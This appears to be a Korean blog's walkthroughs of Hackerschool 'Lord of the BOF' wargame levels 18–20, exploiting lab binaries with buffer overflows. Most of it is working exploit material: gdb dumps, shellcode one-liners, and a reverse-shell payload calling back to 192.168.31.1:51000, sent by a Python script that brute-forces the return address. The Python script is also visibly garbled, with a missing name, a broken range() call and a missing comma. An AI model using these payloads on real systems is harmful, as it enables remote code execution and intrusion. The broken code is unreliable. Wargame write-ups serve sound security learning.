[xavius@localhost xavius]$ cat death_knight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - dark knight

        - remote BOF

*/


#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

#include <string.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <sys/socket.h>

#include <sys/wait.h>

#include <dumpcode.h>


main()

{

        char buffer[40];


        int server_fd, client_fd;

        struct sockaddr_in server_addr;

        struct sockaddr_in client_addr;

        int sin_size;


        if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){

                perror("socket");

                exit(1);

        }


        server_addr.sin_family = AF_INET;

        server_addr.sin_port = htons(6666);

        server_addr.sin_addr.s_addr = INADDR_ANY;

        bzero(&(server_addr.sin_zero), 8);


        if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){

                perror("bind");

                exit(1);

        }


        if(listen(server_fd, 10) == -1){

                perror("listen");

                exit(1);

        }


        while(1) {

                sin_size = sizeof(struct sockaddr_in);

                if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){

                        perror("accept");

                        continue;

                }


                if (!fork()){

                        send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);

                        send(client_fd, "You : ", 6, 0);

                        recv(client_fd, buffer, 256, 0);

                        close(client_fd);

                        break;

                }


                close(client_fd);

                while(waitpid(-1,NULL,WNOHANG) > 0);

        }

        close(server_fd);

}



드디어 LOB 마지막 이네요.


소스를 보니 원격으로 쉘을 따야 하는 것 같네요.



buffer의 위치를 확인하겠습니다.


...

0x8048a02 <main+318>:   add    %esp,16

0x8048a05 <main+321>:   push   0

0x8048a07 <main+323>:   push   0x100

0x8048a0c <main+328>:   lea    %eax,[%ebp-40]

0x8048a0f <main+331>:   push   %eax

0x8048a10 <main+332>:   mov    %eax,DWORD PTR [%ebp-48]

0x8048a13 <main+335>:   push   %eax

0x8048a14 <main+336>:   call   0x804860c <recv>

...


사이에 더미는 없네요. 바로 리턴주소를 덮으면 될 것 같습니다.

포트6666으로 접속하면 되겠네요.

쉘코드는 리버스 쉘코드를 사용합니다.

"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80"

IPADDR | 192.168.31.1 (\xc0\xa8\x1f\x01)
PORT | 51000 (\xc7\x38)
로 했습니다.


버퍼의 위치를 정확하게 알 수 없기 때문에 0xbfffffff부터 0xbfff0000까지 브루트포싱을 합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from socket import *
from struct import *
 
 
= lambda x : pack("<L", x)
up = lambda x : unpack("<L", x)[0]
 
IPADDR = "\xc0\xa8\x1f\x01"
PORT = "\xc7\x38"
 
shellcode = (
 
            "\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
            "\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
            "\x01\x6a\x02\x89\xe1\xcd\x80\x89"
            "\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
            +IPADDR+"\x66\x68"+PORT+"\x66\x53\xfe"
            "\xc3\x89\xe1\x6a\x10\x51\x56\x89"
            "\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
            "\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
            "\xc0\x52\x68\x6e\x2f\x73\x68\x68"
            "\x2f\x2f\x62\x69\x89\xe3\x52\x53"
            "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
            "\x80"
)
 
 
for i in range(0xFF0x00-1):
    for j in range(0xFF0x00-1):
        payload="A"*44+chr(j)+chr(i)+"\xff\xbf"+"\x90"*80+shellcode
        print "addr : " + str(hex(up(chr(j)+chr(i)+"\xff\xbf")))
        s=socket(AF_INET, SOCK_STREAM)
        s.connect(("192.168.31.129"6666))
        s.recv(52)
        s.recv(6)
        s.send(payload)
        s.close()
cs


mandu@mandu-VirtualBox:~$ nc -l -p 51000
my-pass

51000포트 열어놓고 명령어를 미리 입력해두었습니다.


mandu@mandu-VirtualBox:~/project/pytest$ python lob20.py 
(생략)
addr : 0xbffffdf1
addr : 0xbffffdf0
addr : 0xbffffdef
addr : 0xbffffdee
(생략)


기다려보면 어느순간 쉘이 연결되서 패스워드가 출력됩니다.


mandu@mandu-VirtualBox:~$ nc -l -p 51000
my-pass
euid = 520
got the life


이 패스워드로 death_knight 계정에 로그인을 하면?

login: death_knight
Password:
[death_knight@localhost death_knight]$ ls -l
total 4
-rw-r-----    1 death_kn death_kn      636 Mar 30  2010 dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt

 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,'
                   `'

(텍스트로 긁어왔더니 찌그러졌습니다..)


몹이 아이템을 드랍했습니다!

다음은 페도라성인가요? 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL19 [nightmare -> xavius] 풀이


M4ndU




해커스쿨 LOB [nightmare -> xavius] 풀이입니다.


ID | nightmare

PW | beg for me

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: nightmare

Password:

[nightmare@localhost nightmare]$ bash2

[nightmare@localhost nightmare]$ ls -l

total 20

-rwsr-sr-x    1 xavius   xavius      13398 Mar 30  2010 xavius

-rw-r--r--    1 root     root         1019 Mar 30  2010 xavius.c

[nightmare@localhost nightmare]$ cat xavius.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - xavius

        - arg

*/


#include <stdio.h>

#include <stdlib.h>

#include <dumpcode.h>


main()

{

        char buffer[40];

        char *ret_addr;


        // overflow!

        fgets(buffer, 256, stdin);

        printf("%s\n", buffer);


        if(*(buffer+47) == '\xbf')

        {

                printf("stack retbayed you!\n");

                exit(0);

        }


        if(*(buffer+47) == '\x08')

        {

                printf("binary image retbayed you, too!!\n");

                exit(0);

        }


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }


        // stack destroyer

        memset(buffer, 0, 44);

        memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));


        // LD_* eraser

        // 40 : extra space for memset function

        memset(buffer-3000, 0, 3000-40);

}




스택영역, 텍스트영역을 사용할 수 없고


소스를 보면, 


        // check if the ret_addr is library function or not

        memcpy(&ret_addr, buffer+44, 4);

        while(memcmp(ret_addr, "\x90\x90", 2) != 0)     // end point of function

        {

                if(*ret_addr == '\xc9'){                // leave

                        if(*(ret_addr+1) == '\xc3'){    // ret

                                printf("You cannot use library function!\n");

                                exit(0);

                        }

                }

                ret_addr++;

        }



라이브러리 영역을 필터링 하는 부분인데,
leave와 ret으로 끝나는 것들을 필터링해서 결과적으로 라이브러리 함수를 사용할 수 없게 되어 있습니다.

모든 \x40로 시작하는 주소를 막은 것은 아니죠.


입력받는 부분을 보면, argv을 사용하지 않고 fgets함수를 통해 입력을 받습니다. 아무래도 fgets함수를 사용할때 사용되는 무언가를 이용하라는 것 같습니다.

아마 그 무언가가 stdin 인 것 같습니다.


stdin은 입력값을 임시로 저장하는 임시 버퍼라고 합니다.
이 stdin을 조사해 보아야겠습니다.

[nightmare@localhost nightmare]$ mkdir tmp
[nightmare@localhost nightmare]$ cp xavius tmp/
[nightmare@localhost nightmare]$ cd tmp/
[nightmare@localhost tmp]$ gdb -q xavius
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:       push   %ebp
0x8048715 <main+1>:     mov    %ebp,%esp
0x8048717 <main+3>:     sub    %esp,44
0x804871a <main+6>:     mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:    push   %eax
0x8048720 <main+12>:    push   0x100
0x8048725 <main+17>:    lea    %eax,[%ebp-40]
0x8048728 <main+20>:    push   %eax
0x8048729 <main+21>:    call   0x8048408 <fgets>
0x804872e <main+26>:    add    %esp,12
(생략)


main+12 : push %eax | 전달되는 인자인 stdin의 주소가 넘어가네요.

fgets함수의 stdin의 주소를 확인할 수 있는 시점과 종료된 시점인 main+12과 main+26에 breakpoint를 걸어줍니다.
그리고 실행합니다.


(gdb) b *main+12
Breakpoint 1 at 0x8048720
(gdb) b *main+26
Breakpoint 2 at 0x804872e
(gdb) i reg eax
The program has no registers now.
(gdb) r
Starting program: /home/nightmare/tmp/xavius

Breakpoint 1, 0x8048720 in main ()
(gdb) DDDDDDDD
Undefined command: "DDDDDDDD".  Try "help".
(gdb) i reg eax
eax            0x401068c0       1074817216


stdin이 0x40영역에 있네요!


계속 진행해서 위 주소를 확인해봤습니다.

(gdb) c
Continuing.
DDDDDDDD

Breakpoint 2, 0x804872e in main ()
(gdb) x/50x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:    0xfbad2288      0x40015009      0x40015009     0  x40015000
0x401068d0 <_IO_2_1_stdin_+16>: 0x40015000      0x40015000      0x40015000     0  x40015000
0x401068e0 <_IO_2_1_stdin_+32>: 0x40015400      0x00000000      0x00000000     0  x00000000
0x401068f0 <_IO_2_1_stdin_+48>: 0x00000000      0x00000000      0x00000000     0  x00000000
0x40106900 <_IO_2_1_stdin_+64>: 0xffffffff      0x00000000      0x401068a0     0  xffffffff
0x40106910 <_IO_2_1_stdin_+80>: 0xffffffff      0x00000000      0x00000000     0  x00000000
0x40106920 <_IO_2_1_stdin_+96>: 0x00000000      0x00000000      0x00000000     0  x00000000
0x40106930 <_IO_2_1_stdin_+112>:        0x00000000      0x00000000      0x000000  00      0x00000000
0x40106940 <_IO_2_1_stdin_+128>:        0x00000000      0x00000000      0x000000  00      0x00000000
0x40106950 <_IO_2_1_stdin_+144>:        0x00000000      0x40106820      0x000000  00      0x00000000
0x40106960 <_IO_stdfile_1_lock+8>:      0x00000000      0x00000001      0x000000  00      0x00000000
0x40106970 <_IO_stdfile_1_lock+24>:     0x00000000      0x00000000      0x000000  00      0x00000000
0x40106980 <_IO_2_1_stdout_>:   0xfbad2084      0x00000000
(gdb) x/x 40015009
0x26294a1:      Cannot access memory at address 0x26294a1
(gdb) x/x 0x40015009
0x40015009:     0x00000000
(gdb) x/x 0x40015000
0x40015000:     0x44444444
(gdb) x/4x 0x40015000
0x40015000:     0x44444444      0x44444444      0x0000000a      0x00000000


0x40015000부터 우리가 입력한 값이 들어가 있고
0x40015009에 문자열의 끝을 의미하는 NULL값이 들어가 있는 것을 알 수 있습니다.


프로그램 종료 후에도 이 값이 남아있는지 확인해보겠습니다.

(gdb) b *main+278
Breakpoint 3 at 0x804882a
(gdb) c
Continuing.
DDDDDDDD


Breakpoint 3, 0x804882a in main ()
(gdb) x/4x 0x40015000
0x40015000:     0x44444444      0x44444444      0x0000000a      0x00000000


남아있습니다. 그러면 이 영역에 쉘코드를 넣으면 될 것 같네요.

페이로드를 구성해 보면,

NOP[19]+SHELLCODE[25]+RET(0x40015000)[4]

(python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius


[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"'; cat) | ./xavius
릱릱릱릱릱릱릱릱릱?픐h//shh/bin됥PS됣됀?
                                         ?
my-pass
euid = 519
throw me away


성공입니다!! 마지막 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ


반응형
반응형


해커스쿨 LOB LEVEL18 [succubus -> nightmare] 풀이


M4ndU




해커스쿨 LOB [succubus -> nightmare] 풀이입니다.


ID | succubus

PW | here to stay

으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: succubus

Password:

[succubus@localhost succubus]$ bash2

[succubus@localhost succubus]$ ls -l

total 20

-rwsr-sr-x    1 nightmar nightmar    12983 Mar 30  2010 nightmare

-rw-r--r--    1 root     root          625 Mar 30  2010 nightmare.c

[succubus@localhost succubus]$ cat nightmare.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - nightmare

        - PLT

*/


#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <dumpcode.h>


main(int argc, char *argv[])

{

        char buffer[40];

        char *addr;


        if(argc < 2){

                printf("argv error\n");

                exit(0);

        }


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


        // overflow!

        strcpy(buffer, argv[1]);

        printf("%s\n", buffer);


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);

}


소스를 보면


        // check address

        addr = (char *)&strcpy;

        if(memcmp(argv[1]+44, &addr, 4) != 0){

                printf("You must fall in love with strcpy()\n");

                exit(0);

        }


리턴 주소가 strcpy()함수의 주소여야 하고,


        // dangerous waterfall

        memset(buffer+40+8, 'A', 4);


리턴 주소다음 4바이트 부분 = strcpy()함수의 리턴 주소를 A로 채우네요.

A로 채워진 부분을 strcpy함수를 통해 쉘코드 주소로 다시 덮어주어야 합니다.

페이로드를 구성해보면

&(&shellcode)[4]+dummy[40]+&strcpy()[4]+dummy[4]+4바이트 앞 주소(strcpy()의 리턴주소)[4]+&buffer[4]


일단 strcpy()의 주소를 구해줍니다.

[succubus@localhost succubus]$ gdb -q nightmare
(gdb) set disassembly-flavor intel
(gdb) disas main
(생략)
0x8048722 <main+110>:   call   0x8048410 <strcpy>
(생략)

그리고 쉘코드를 환경변수에 넣어줍니다.
그 전에 쉘코드의 주소를 다른 환경변수에 넣어주기 위해 공간을 확보합니다.

$export EGG1=`python -c 'print "\xff\xff\xff\xff"'`
$export EGG2=`python -c 'print "\x90"*100+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG1")); } ' > get1.c
$gcc get1.c -o 1
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG2")); } ' > get2.c
$gcc get2.c -o 2

이제 strcpy()의 리턴주소가 들어가는 주소를 구합니다.


[succubus@localhost succubus]$ mkdir tmp
[succubus@localhost succubus]$ cp nightmare tmp/
[succubus@localhost succubus]$ cd tmp/
[succubus@localhost tmp]$ ./nightmare `python -c 'print "D"*44+"\x10\x84\x04\x08"+"C"*12'`
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC
Segmentation fault (core dumped)
[succubus@localhost tmp]$ gdb -c core -q
Core was generated by `./nightmare DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDCCCCCCCCCCCC'.
Program terminated with signal 11, Segmentation fault.
#0  0x400767c1 in ?? ()
(gdb) x/40x $esp-40
0xbffff9e0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffff9f0:     0x44444444      0x44444444      0x44444444      0x44444444
0xbffffa00:     0x44444444      0x44444444      0x4000ae60      0x44444444
0xbffffa10:     0x41414141      0x43434343      0x43434343      0x40013800
0xbffffa20:     0x00000002      0x08048420      0x00000000      0x08048441
0xbffffa30:     0x080486b4      0x00000002      0xbffffa54      0x08048350
0xbffffa40:     0x0804877c      0x4000ae60      0xbffffa4c      0x40013e90
0xbffffa50:     0x00000002      0xbffffb61      0xbffffb6d      0x00000000
0xbffffa60:     0xbffffbaa      0xbffffbc1      0xbffffbcb      0xbffffc5e
0xbffffa70:     0xbffffc76      0xbffffc95      0xbffffcb7      0xbffffcc5


buffer은 0xbffff9e0이고
ret는 0xbffffa10이네요.

이제 페이로드를 완성하기 위해 환경변수에 들어간 쉘코드의 주소를 구해줍니다.

[succubus@localhost env]$ ./2
ADDR -> 0xbffffbe4

그리고 EGG1을 다시 설정해줍니다.

$export EGG1=`python -c 'print "\xe4\xfb\xff\xbf"'`


[succubus@localhost env]$ export EGG1=`python -c 'print "\x48\xfc\xff\xbf"'`

[succubus@localhost env]$ ./1

ADDR -> 0xbffffbda




&strcpy() | 0x08048410

&ret | 0xbffffa10

&(&SHELLCODE) | 0xbffffbda

&buffer | 0xbffff9e0


모두 구했습니다.

그럼 익스플로잇!



./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`




[succubus@localhost tmp]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ exit
exit
[succubus@localhost succubus]$ cd ..
[succubus@localhost succubus]$ ./nightmare `python -c 'print "\xda\xfb\xff\xbf"+"D"*40+"\x10\x84\x04\x08"+"A"*4+"\x10\xfa\xff\xbf"+"\xe0\xf9\xff\xbf"'`
拔풡DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDAAAA?욈??
bash$ my-pass
euid = 518
beg for me

성공! 다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ



반응형

+ Recent posts